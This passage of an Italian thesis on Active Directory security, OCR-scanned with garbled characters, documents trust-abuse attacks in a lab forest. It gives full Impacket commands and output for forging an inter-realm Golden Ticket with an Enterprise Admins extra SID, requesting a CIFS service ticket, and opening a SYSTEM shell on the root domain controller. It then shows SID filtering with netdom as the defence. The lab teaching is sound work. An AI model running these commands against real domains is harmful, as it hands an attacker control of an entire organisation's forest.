* KRB5SCCNAME : permette di specificare un ticket da utilizzare in sostituzione alle nor-
mali credenziali; nell’esempio viene utilizzato il creato nel passaggio precedente

contenente 1’ extra-sid; permette I’ autenticazione presso il dominio corp.hacklab.local.

* -spn : permette di specificare il servizio di cui si vuole ottenere il ticket; in questo ca-

so viene utilizzato krbtgt/hacklab.local che permette 1’autenticazione presso il dominio
hacklab.local.

* -no-pass : permette di evitare I’utilizzo di password per 1’autenticazione.
* -k : permette I’autenticazione tramite ticket Kerberos.

* -dc-ip : permette di specificare I’indirizzo del[D(Ja cui richiedere il ticket; in questo caso
DCO02, il|[D( del dominio figlio.

* username : dominio\utente di cui richiedere il ticket; nel caso in esame viene utilizzato

corp.hacklab.local\devis.cook.

A operazione conclusa ¢ ottenuto il ticket devis.cook.interTGT, I'inter-realm per 1'u-
tente devis.cook, che contiene al suo interno 1’extra-sid. In questo caso, a differenza di quello
precedente, il ticket permette 1’autenticazione presso il dominio hacklab.local nel quale 1’utente

devis.cook non esiste.
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5.2.3 ST Request

Per richiedere il che permette 1’utilizzo di un servizio presso il dominio padre viene
utilizzato nuovamente lo script Impacket[55] getST.py . Quest’ultimo permette di richiedere
ticket legittimi a un [D(| specificato.

B # KRB5CCNAME=devis.cook.interTGT python3 getST.py -spn cifs/dc@1.hacklab.local -no-pass
-k -dc-ip dc@l.hacklab.local hacklab.local/devis.cook
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[*] Getting ST for user
[*] Saving ticket in devis.cook.ccache

# mv devis.cook.ccache devis.cook.ST

Figura 73: Output getST.py #2 - (KRBTGT Attack).

I parametri utilizzati sono:
* KRB5CCNAME : permette di specificare un ticket da utilizzare in sostituzione alle nor-
mali credenziali; nell’esempio viene utilizzato ’inter-realm creato nel passaggio

precedente contenente I’ extra-sid; permette I’ autenticazione presso il dominio hacklab.local.

* -spn : permette di specificare il servizio di cui si vuole ottenere il ticket; in questo caso
viene utilizzato cifs/dcO1.hacklab.local che permette 1’utilizzo del servizio presso
la macchina dc01.hacklab.local, che coincide con 1l DCOL.

* -no-pass : permette di evitare I’utilizzo di password per 1’autenticazione.
* -k : permette I’autenticazione tramite ticket Kerberos.

* -dc-ip : permette di specificare I’indirizzo del[D(Ja cui richiedere il ticket; in questo caso
DCO1, il[D{ del dominio padre.

* username : dominio\utente di cui richiedere il ticket; nel caso in esame viene utilizzato
hacklab.local\devis.cook; il dominio specificato & quello padre in quanto I’autenticazione
avviene tramite 1’ inter-realm

A operazione conclusa ¢ stato ottenuto il ticket devis.cook.ST, il per 'utente
devis.cook, che permette di utilizzare il servizio
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5.2.4 Privilege Escalation - risultati

Ora che ¢ stato ottenuto un[S7|che permette di usufruire del servizio[CIFS|¢ possibile, grazie
ai nuovi privilegi di Enterprise Admins, effettuare il dump degli hash del DCO1, appartenente
al dominio hacklab.local. Inoltre ¢ possibile ottenere una shell direttamente nel DCO1 usando
tool come evil-wirnm[S]l], psexec[S3]], smbexec[S3] ecc.

Di seguito ¢ presentata una soluzione in cui si ottiene una semi-interactive shell usando lo

script Impacket[55|] smbexec.py .

B # KRB5CCNAME=devis.cook.ST python3 smbexec.py -k -no-pass -dc-ip dcOl.hacklab.local
corp.hacklab.local/devis.cook@dcOl.hacklab.local
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
ht authority\system

C:\Windows\system32>hostname
DCO1

C: \Windows\system32>]

Figura 74: Output smbexec.py - (KRBTGT Attack).

I parametri utilizzati sono:

* KRB5CCNAME : permette di specificare un ticket da utilizzare in sostituzione alle nor-
mali credenziali; nell’esempio viene utilizzato 1S7] creato nel passaggio precedente che
permette 1"utilizzo del servizio[CIFS|presso la macchina dc01.hacklab.local, che coincide
con il DCO1.

* -no-pass : permette di evitare I’utilizzo di password per 1’autenticazione.
* -k : permette I’autenticazione tramite ticket Kerberos.

* -dc-ip : permette di specificare I’indirizzo del[D(] presso cui autenticare il[S7} nel caso in
esame DCO1, il[DC del dominio padre.

o target : dominio\utente@indirizzo di cui ottenere la shell; nel caso in esame viene utiliz-
zato corp.hacklab.local\devis.cook@dc01.hacklab.local; 1’indirizzo specificato & quello

di DCO1, per cui si otterra una shell nel DCO1 come utente con privilegi massimi.

Come si puo vedere dai risultati conseguiti attraverso questo attacco, ¢ possibile ottenere una
shell di amministrazione nel[D(| della foresta hacklab.local; di conseguenza si hanno privilegi

massimi anche in tutti i domini e sotto-domini appartenenti alla stessa foresta.
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5.3 TRUST Golden Ticket Attack

Anche I’attacco eseguito utilizzando il Golden Ticket forgiato con 1’hash TRUST & composto
da varie fasi. La prima operazione ¢ diversa rispetto all’attacco presentato precedentemente,

mentre quelle successive sono del tutto analoghe.

@ 1 - int Im TGT //\\\
- Inter-realm
(+ extra-sid)
/Eull

@ / \\

\

/
/ Dcot \
/ dc01.hackiab.local \

hacklab.local

____-_'_"—-2 - TRUST Goelden Ticket X

(+ extra-sid) —_—
— e /\
\ “ extra-Sid,\ / \

3-8T

(+ extra-sid) // \\
3 - File-system acces\ / \
\ / Dcoz \

dc02.corp.hacklab.local

corp.hacklab.local

Figura 75: Schema attacco con TRUST Golden Ticket.

Si utilizza 1’hash dell’account TRUST per forgiare localmente fin da subito un inter-realm
In questo viene evitata qualsiasi comunicazione col [DC del dominio figlio. Al suo inter-
no deve essere iniettato 1’extra-sid che permetta di ottenere dei privilegi arbitrari nel dominio
scelto. Nuovamente, nell’esempio, verra iniettato il gruppo Enterprise Admins per il dominio
hacklab.local. Rispetto all’attacco presentato in precedenza sussiste una differenza fondamen-
tale: considerando che non sono previste comunicazioni col[D(Jdel dominio figlio, I’ inter-realm
puo essere forgiato per un utente qualsiasi, anche non esistente, in quanto non vengono
effettuati controlli di questo tipo del[D(jdel dominio padre.

Una volta creato il ticket che permette 1’autenticazione presso il [DC| nel dominio padre,

si richiede un [S7] per usufruire di un servizio che permetta di eseguire operazioni privilegiate.

Nel caso in esame verra richiesto il servizio [Common Internet File System|({CIFS) che consente

I’accesso, con 1 privilegi ottenuti, ai file del @ del dominio padre.

Con i permessi ottenuti grazie al ST puo essere eseguito il dump degli hash del dominio
padre o ottenere una shell presso il suo [DC}; in questo modo si sono effettivamente guadagnati

1 privilegi massimi all’interno della foresta.
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5.3.1 TRUST Golden Ticket Forgery

Per forgiare 1’ inter-realm con I’extra-sid viene utilizzato lo script Impacket[55]] ticke-
ter.py . Quest’ultimo permette di creare un ticket ad hoc localmente, usando 1’hash dell’account
HACKLABS.

# python3 ticketer.py -spn krbtgt/hacklab.local -domain corp.hacklab.local -domain-sid S-
1-5-21- 4206347020 1692389405-2219441613 -nthash b3ce5flea61460d993d3d2091fed451ca -extra-sid S-1-5-21-2886521826-4274546746-31800
30028-519 fakeuser

Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for corp.hacklab.local/fakeuser
g PAC_LOGON_INFO
PAC_CLIENT INFO  TYPE
EncTicketPart
EncTGSRepPart
Signing/Encrypting final ticket
PAC_SERVER CHECKSUM

PAC_PRIVSVR_ CHECKSUM
EncTicketPart
EncTGSRepPart

[*] Saving ticket in fakeuser.ccache

# mv fakeuser.ccache fakeuser.interTGT

Figura 76: Output ticketer.py - (TRUST Attack).

I parametri utilizzati sono:
* -spn : permette di specificare il servizio di cui si vuole ottenere il ticket; in questo ca-

so viene utilizzato krbtgt/hacklab.local che permette 1’autenticazione presso il dominio
hacklab.local.

* -domain : permette di specificare il dominio figlio, in questo caso corp.hacklab.local.

* -domain-sid : permette di specificare il del dominio figlio; in questo caso viene uti-
lizzato S-1-5-21-4206347020-1692389405-2219441613, ottenuto tramite il SID lookup

precedente.

» -nthash : permette di specificare 1’hash, in formato N7, che verra utilizzato per critto-
grafare il ticket; in questo caso viene inserito quello dell’account HACKLABS. Si puo

specificare ’hash anche usando il parametro -aesKey nel caso in cui il formato sia AES.

» -extra-sid : permette di specificare il da iniettare; il formato del deve essere SID
dominio padre - SID gruppo che si vuole impersonare. In questo esempio viene utilizzato
S-1-5-21-2886521826-4274546746-3180030028-519 dove 519 ¢ il del gruppo En-
terprise Admins ottenuto tramite il SID lookup gia proposto, mentre la parte precedente ¢

il del dominio padre, hacklab.local, ottenuto con la medesima operazione.

* username : nome utente per cui viene forgiato il ticket, in questo caso fakeuser. Si ricorda

che non ¢ necessario specificare un utente esistente nel dominio figlio.

A operazione conclusa ¢ stato ottenuto il ticket fakeuser.interTGT, 1’inter-realm per
I’utente fakeuser, che contiene al suo interno 1’extra-sid. 1l ticket permette I’autenticazione

presso il dominio hacklab.local nel quale I’utente fakeuser non esiste.
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5.3.2 ST Request

Per richiedere il che permette 1’utilizzo di un servizio presso il dominio padre viene
utilizzato lo script Impacket[55]] getST.py . Quest’ultimo permette di richiedere ticket legittimi
a un[D( specificato.

B # KRB5CCNAME=fakeuser.interTGT python3 getST.py -spn cifs/dc@l.hacklab.local -no-pass -k
-dc-ip dc@l.hacklab.local hacklab.local/fakeuser
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[*] Getting ST for user
[*] Saving ticket in fakeuser.ccache

# mv fakeuser.ccache fakeuser.ST

Figura 77: Output getST.py - (TRUST Attack).

I parametri utilizzati sono:
* KRB5SCCNAME : permette di specificare un ticket da utilizzare in sostituzione alle nor-
mali credenziali; nell’esempio viene utilizzato 1’ inter-realm creato nel passag-

gio precedente contenente 1’extra-sid; permette 1’autenticazione presso il dominio hac-
klab.local.

* -spn : permette di specificare il servizio di cui si vuole ottenere il ticket; in questo caso
viene utilizzato cifs/dcO1.hacklab.local che permette 1’utilizzo del servizio |CIFS| presso

la macchina dc01.hacklab.local, che coincide con il DCOL1.
* -no-pass : permette di evitare 1’utilizzo di password per 1’autenticazione.
* -k : permette I’autenticazione tramite ticket Kerberos.

* -dc-ip : permette di specificare I’indirizzo del[D(Ja cui richiedere il ticket; in questo caso
DCO1, il [D{ del dominio padre.

* username : dominio\utente di cui richiedere il ticket; nel caso in esame viene utilizzato
hacklab.local\fakeuser; il dominio specificato & quello padre in quanto 1’autenticazione
avviene tramite 1’ inter-realm

A operazione conclusa € stato ottenuto il ticket fakeuser.ST, il per I’utente
fakeuser, che permette di utilizzare il servizio
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5.3.3 Privilege Escalation - risultati

Ora che ¢ stato ottenuto un[S7|che permette di usufruire del servizio[CIFS|¢ possibile, grazie
ai nuovi privilegi di Enterprise Admins, effettuare il dump degli hash del DCO1, appartenente
al dominio hacklab.local. Inoltre ¢ possibile ottenere una shell direttamente nel DCO1 usando
tool come evil-wirnm[S]l], psexec[S3]], smbexec[S3] ecc.

Di seguito ¢ presentata una soluzione in cui si ottiene una semi-interactive shell usando lo

script Impacket[55|] smbexec.py .

# KRB5CCNAME=fakeuser.ST python3 smbexec.py -k -no-pass -dc-ip dc@l.hacklab.local corp.ha

cklab.local/fakeuser@dcOl.hacklab.local
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DCO1

C:\Windows\system32>

Figura 78: Output smbexec.py - (TRUST Attack).

I parametri utilizzati sono:

* KRB5CCNAME : permette di specificare un ticket da utilizzare in sostituzione alle nor-
mali credenziali; nell’esempio viene utilizzato 1’ [S7] creato nel passaggio precedente che
permette 1"utilizzo del servizio|[CIFS| presso la macchina dc01.hacklab.local, che coincide
con 1l DCO1.

* -no-pass : permette di evitare I’utilizzo di password per 1’autenticazione.
* -k : permette I’autenticazione tramite ticket Kerberos.

* -dc-ip : permette di specificare 1’indirizzo del[D( presso cui autenticare il[S7} nel caso in
esame DCO1, il[D( del dominio padre.

o target : dominio\utente @indirizzo di cui ottenere la shell; nel caso in esame viene utiliz-
zato corp.hacklab.local\fakeuser@dcO01.hacklab.local; I’indirizzo specificato & quello di

DCO1, per cui si otterra una shell nel DCO1 come utente con privilegi massimi.

Come si puo vedere dai risultati conseguiti attraverso questo attacco, € possibile ottenere una
shell di amministrazione nel [D(] della foresta hacklab.local; di conseguenza si hanno privilegi

massimi anche in tutti i domini e sotto-domini appartenenti alla stessa foresta.
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5.4 Come difendersi

Per evitare che gli attacchi presentati precedentemente abbiano successo bisogna operare
filtrando lo storico dei[S/D|e quindi non permettendo agli extra-sid di essere efficaci all’interno
della foresta.

Un tool built-in gia presente nei Windows Server pud essere impiegato a questo Scopo.
Perché le configurazioni siano efficaci deve essere utilizzato coi permessi di amministrazio-
ne nel dominio root della foresta. Di seguito ¢ presentata una soluzione col fool sopracitato
netdom|[34]], che consente di disabilitare il SID History e di sfruttare la quarantine tra
domini.

Per controllare lo stato dei due filtri si esegue 1’operazione seguente in DCO1, il
del dominio root della foresta.

PS C:\> netdom trust hacklab.local /domain:corp.hacklab.local /EnableSIDHistory
SID history is disabled for this trust.

The command completed successfully.
PS C:\> netdom trust hacklab.local /domain:corp.hacklab.local /quarantine

SID filtering is not enabled for this trust. ALl SIDs presented in an
authentication request from this domain will be honored.

The command completed successfully.

Figura 79: Output netdom trust #1.

I parametri utilizzati sono:

* trust : specifica la modalita che si occupa dei legami di fiducia tra domini.

e <dominio> : dominio verso il quale si vogliono filtrare 1|S/Dj; in questo caso la limita-

zione ¢ verso i1l dominio root, hacklab.local .

* /domain: : permette di specificare il dominio dal quale devono essere filtrati 1 [S/D} in

questo caso sono limitati i provenienti da corp.hacklab.local.
* /EnableSIDHistory : permette di filtrare 1{S/D|nei legami di fiducia di default.

* /quarantine : permette di filtrare i|S/D|nei legami di fiducia non-default, come quelli tra

padre-figlio in una foresta.

Per abilitare 1 filtri utilizzare /EnableSIDHistory:no e /quarantine:yes.

PS C:\> netdom trust hacklab.local /domain:corp.hacklab.local /EnableSIDHistory:no
Disabling SID history for this trust.
The command completed successfully.

PS C:\> netdom trust hacklab.local /domain:corp.hacklab.local /quarantine:yes
Setting the trust to filter SIDs.

The command completed successfully.

ps C:\> I

Figura 80: Output netdom trust #2.
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Con questa configurazione sono filtrati con successo i [SID] provenienti dal dominio
corp.hacklab.local e diretti al dominio hacklab.local; dopo un riavvio delle macchine gli attac-

chi presentati precedentemente saranno quindi del tutto inefficaci.

La conferma puo essere ottenuta andando a rifestare tutte le operazioni con i Ticket pre-

sentate precedentemente. Si noti che non verranno restituiti errori, ma le richieste effettuate

coi [Service-Ticket| per usufruire dei servizi non andranno a buon fine: venendo filtrato

I’extra-sid presente nei Ticket, 1 permessi non saranno sufficienti e il servizio non verra erogato.

La Forest Privilege Escalation, di conseguenza, non potra piu essere conseguita utilizzando

questa tipologia di attacchi.
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6 Conclusioni

Considerando la popolarita che Active Directory sta acquisendo ¢ importante che la ricerca
svolta in ambito cybersecurity sia orientata anche verso questo, relativamente nuovo, tipo di

servizio.

Il laboratorio presentato, gli attacchi proposti e le soluzioni consigliate non sono altro che
una goccia nel mare. Vulnerabilita pit 0 meno severe vengono scoperte e sfruttate ogni giorno,

in un mondo che non puo piu fare a meno del digitale, senza che vi sia la possibilita di evitarlo.

I risultati sperimentali, comunque, hanno dato un esito previsto, ma spesso sorprendente-
mente sottovalutato: le configurazioni di default non proteggono i sistemi. Considerando che
gli attacchi informatici sono sempre piu in aumento e sempre piu distruttivi, la pianificazione
della sicurezza di una rete ¢ oltremodo rilevante. La mancanza di budget porta a bassi inve-
stimenti sulla sicurezza; questo a sua volta porta a semplificare le procedure e utilizzare le
impostazioni predefinite, pensando che siano sufficienti a garantire la sicurezza minima. Ragio-
nare in questo modo nel 2023 ¢ sbagliato e pericoloso: compromettere un’intera rete aziendale

risulta ancora fin troppo semplice.

Il progetto di questa tesi vuole essere I'inizio di quello che potrebbe essere un progetto in
espansione. Come sottolineato, il playbook Ansible realizzato ¢ uno scheletro, che puo essere
facilmente ampliato. Anche se molto basilare, il laboratorio permette di ricreare altre tipologie
di attacchi che esulano dagli obiettivi di questa tesi. Inoltre Ansible, con la sua flessibilita e
la sua praticita, fornisce tutti gli strumenti che permettono di modificare e allargare il labora-
torio proposto. Potenzialmente il progetto potrebbe essere ulteriormente sviluppato, in modo
che comprenda pit macchine, piu servizi, piu protocolli, tutti basati su scenari reali; di riflesso
si aumenterebbero esponenzialmente gli ambienti ricreati e le vulnerabilita da cui sono affet-
ti. Infinite combinazioni di parametri permetterebbero la realizzazione di un vasto laboratorio

modulare.

Si potrebbe, ad esempio, improntare il focus del laboratorio sui vari tipi di legami di fiducia e
imparare come possano essere compromessi. Oppure configurare una workstation che proponga
un utente che simuli una interazione umana, su cui poter basare un attacco di phishing. O
ancora, si potrebbe aggiungere una componente Linux collegata alla rete e configurata con una
vulnerabilita nota in modo da aggiungere al proprio bagaglio di conoscenze anche le tecniche

che permettono il pivoting tra host.

Comunque, per ora, questo progetto rimane un valido strumento per iniziare ad apprendere
1 meccanismi su cui si basa Active Directory, su come sia possibile comprometterli e su come

sia possibile, invece, renderli piu sicuri di quanto lo fossero prima.
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Immagini

Le figureda 1 a11,da 16 a 18, 24, 28, 50, 70, 75 sono state realizzate utilizzando:

https://www.drawio.com/

La figura 12 ¢ stata scaricata dal web e modificata.
La versione originale puo essere trovata qui:

https://www.geeksforgeeks.org/kerberos/

La figura 13 ¢ stata scaricata dal web e modificata.
La versione originale puo essere trovata qui:
https://adsecurity.org/7p=1588

La figura 14 ¢ stata scaricata dal web.
La versione originale puo essere trovata qui:
https://adsecurity.org/7p=1588

Le figure 15 e 19 sono state realizzate utilizzando:

https://docs.google.com/

Le figure da 20 a 23, da 25 a 27, da 29 a 49, da 51 a 69, da 71 a 74 e da 76 a 80 sono invece

Screenshots personali, realizzati per essere utilizzati all’interno dell’elaborato.
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